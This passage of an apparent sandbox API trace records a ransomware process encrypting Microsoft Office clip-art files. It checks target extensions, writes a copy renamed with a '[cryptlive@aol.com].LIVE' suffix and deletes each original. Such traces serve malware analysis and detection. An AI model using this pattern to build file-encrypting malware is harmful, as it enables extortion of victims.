lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.575] lstrlenW (lpString=".7z") returned 3 [0145.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.575] lstrlenW (lpString=".dbf") returned 4 [0145.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.575] lstrlenW (lpString=".1cd") returned 4 [0145.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.576] lstrlenW (lpString=".jpg") returned 4 [0145.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.576] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.576] lstrlenW (lpString="HH00526_.WMF") returned 12 [0145.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.576] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=13538) returned 1 [0145.576] CloseHandle (hObject=0x39c) returned 1 [0145.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x20 [0145.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.577] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.577] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.577] GetLastError () returned 0x0 [0145.577] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x34e2, lpOverlapped=0x0) returned 1 [0145.579] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x34f0, lpOverlapped=0x0) returned 1 [0145.580] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.580] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.580] SetEndOfFile (hFile=0x3dc) returned 1 [0145.580] CloseHandle (hObject=0x3dc) returned 1 [0145.580] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.581] SetEndOfFile (hFile=0x39c) returned 1 [0145.583] CloseHandle (hObject=0x39c) returned 1 [0145.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0145.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.584] lstrlenW (lpString=".doc") returned 4 [0145.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.585] lstrlenW (lpString=".docx") returned 5 [0145.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.585] lstrlenW (lpString=".pdf") returned 4 [0145.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.585] lstrlenW (lpString=".xls") returned 4 [0145.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.585] lstrlenW (lpString=".xlsx") returned 5 [0145.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.585] lstrlenW (lpString=".ppt") returned 4 [0145.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.585] lstrlenW (lpString=".zip") returned 4 [0145.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.585] lstrlenW (lpString=".rar") returned 4 [0145.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.585] lstrlenW (lpString=".bz2") returned 4 [0145.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.585] lstrlenW (lpString=".7z") returned 3 [0145.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.585] lstrlenW (lpString=".dbf") returned 4 [0145.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.585] lstrlenW (lpString=".1cd") returned 4 [0145.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.585] lstrlenW (lpString=".jpg") returned 4 [0145.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.585] lstrlenW (lpString=".doc") returned 4 [0145.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.585] lstrlenW (lpString=".docx") returned 5 [0145.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.586] lstrlenW (lpString=".pdf") returned 4 [0145.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.586] lstrlenW (lpString=".xls") returned 4 [0145.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.586] lstrlenW (lpString=".xlsx") returned 5 [0145.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.586] lstrlenW (lpString=".ppt") returned 4 [0145.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.586] lstrlenW (lpString=".zip") returned 4 [0145.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.586] lstrlenW (lpString=".rar") returned 4 [0145.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.586] lstrlenW (lpString=".bz2") returned 4 [0145.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.586] lstrlenW (lpString=".7z") returned 3 [0145.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.586] lstrlenW (lpString=".dbf") returned 4 [0145.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.586] lstrlenW (lpString=".1cd") returned 4 [0145.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0145.586] lstrlenW (lpString=".jpg") returned 4 [0145.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.586] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.586] lstrlenW (lpString="HH00527_.WMF") returned 12 [0145.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.587] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5798) returned 1 [0145.588] CloseHandle (hObject=0x39c) returned 1 [0145.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20 [0145.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.588] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.588] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.589] GetLastError () returned 0x0 [0145.589] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x16a6, lpOverlapped=0x0) returned 1 [0145.590] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x16b0, lpOverlapped=0x0) returned 1 [0145.591] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.591] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.591] SetEndOfFile (hFile=0x3dc) returned 1 [0145.591] CloseHandle (hObject=0x3dc) returned 1 [0145.592] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.592] SetEndOfFile (hFile=0x39c) returned 1 [0145.594] CloseHandle (hObject=0x39c) returned 1 [0145.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0145.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.597] lstrlenW (lpString=".doc") returned 4 [0145.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.597] lstrlenW (lpString=".docx") returned 5 [0145.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.597] lstrlenW (lpString=".pdf") returned 4 [0145.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.597] lstrlenW (lpString=".xls") returned 4 [0145.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.597] lstrlenW (lpString=".xlsx") returned 5 [0145.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.597] lstrlenW (lpString=".ppt") returned 4 [0145.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.597] lstrlenW (lpString=".zip") returned 4 [0145.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.597] lstrlenW (lpString=".rar") returned 4 [0145.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.597] lstrlenW (lpString=".bz2") returned 4 [0145.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.597] lstrlenW (lpString=".7z") returned 3 [0145.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.597] lstrlenW (lpString=".dbf") returned 4 [0145.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.597] lstrlenW (lpString=".1cd") returned 4 [0145.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.597] lstrlenW (lpString=".jpg") returned 4 [0145.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.598] lstrlenW (lpString=".doc") returned 4 [0145.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.598] lstrlenW (lpString=".docx") returned 5 [0145.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.598] lstrlenW (lpString=".pdf") returned 4 [0145.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.598] lstrlenW (lpString=".xls") returned 4 [0145.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.598] lstrlenW (lpString=".xlsx") returned 5 [0145.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.598] lstrlenW (lpString=".ppt") returned 4 [0145.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.598] lstrlenW (lpString=".zip") returned 4 [0145.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.598] lstrlenW (lpString=".rar") returned 4 [0145.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.598] lstrlenW (lpString=".bz2") returned 4 [0145.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.598] lstrlenW (lpString=".7z") returned 3 [0145.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.598] lstrlenW (lpString=".dbf") returned 4 [0145.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.598] lstrlenW (lpString=".1cd") returned 4 [0145.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0145.598] lstrlenW (lpString=".jpg") returned 4 [0145.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.599] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.599] lstrlenW (lpString="HH00546_.WMF") returned 12 [0145.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.599] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3718) returned 1 [0145.599] CloseHandle (hObject=0x39c) returned 1 [0145.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x20 [0145.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.600] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.600] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.600] GetLastError () returned 0x0 [0145.600] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xe86, lpOverlapped=0x0) returned 1 [0145.682] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe90, lpOverlapped=0x0) returned 1 [0145.961] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.961] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.961] SetEndOfFile (hFile=0x3dc) returned 1 [0145.961] CloseHandle (hObject=0x3dc) returned 1 [0145.962] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.962] SetEndOfFile (hFile=0x39c) returned 1 [0145.964] CloseHandle (hObject=0x39c) returned 1 [0145.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0145.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.966] lstrlenW (lpString=".doc") returned 4 [0145.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.966] lstrlenW (lpString=".docx") returned 5 [0145.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.966] lstrlenW (lpString=".pdf") returned 4 [0145.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.966] lstrlenW (lpString=".xls") returned 4 [0145.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.966] lstrlenW (lpString=".xlsx") returned 5 [0145.966] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.966] lstrlenW (lpString=".ppt") returned 4 [0145.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.966] lstrlenW (lpString=".zip") returned 4 [0145.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.966] lstrlenW (lpString=".rar") returned 4 [0145.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.966] lstrlenW (lpString=".bz2") returned 4 [0145.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.966] lstrlenW (lpString=".7z") returned 3 [0145.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.966] lstrlenW (lpString=".dbf") returned 4 [0145.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.966] lstrlenW (lpString=".1cd") returned 4 [0145.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.966] lstrlenW (lpString=".jpg") returned 4 [0145.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.967] lstrlenW (lpString=".doc") returned 4 [0145.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.967] lstrlenW (lpString=".docx") returned 5 [0145.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.967] lstrlenW (lpString=".pdf") returned 4 [0145.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.967] lstrlenW (lpString=".xls") returned 4 [0145.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.967] lstrlenW (lpString=".xlsx") returned 5 [0145.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.967] lstrlenW (lpString=".ppt") returned 4 [0145.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.967] lstrlenW (lpString=".zip") returned 4 [0145.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.967] lstrlenW (lpString=".rar") returned 4 [0145.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.967] lstrlenW (lpString=".bz2") returned 4 [0145.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.967] lstrlenW (lpString=".7z") returned 3 [0145.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.967] lstrlenW (lpString=".dbf") returned 4 [0145.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.967] lstrlenW (lpString=".1cd") returned 4 [0145.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.967] lstrlenW (lpString="C:\\Program 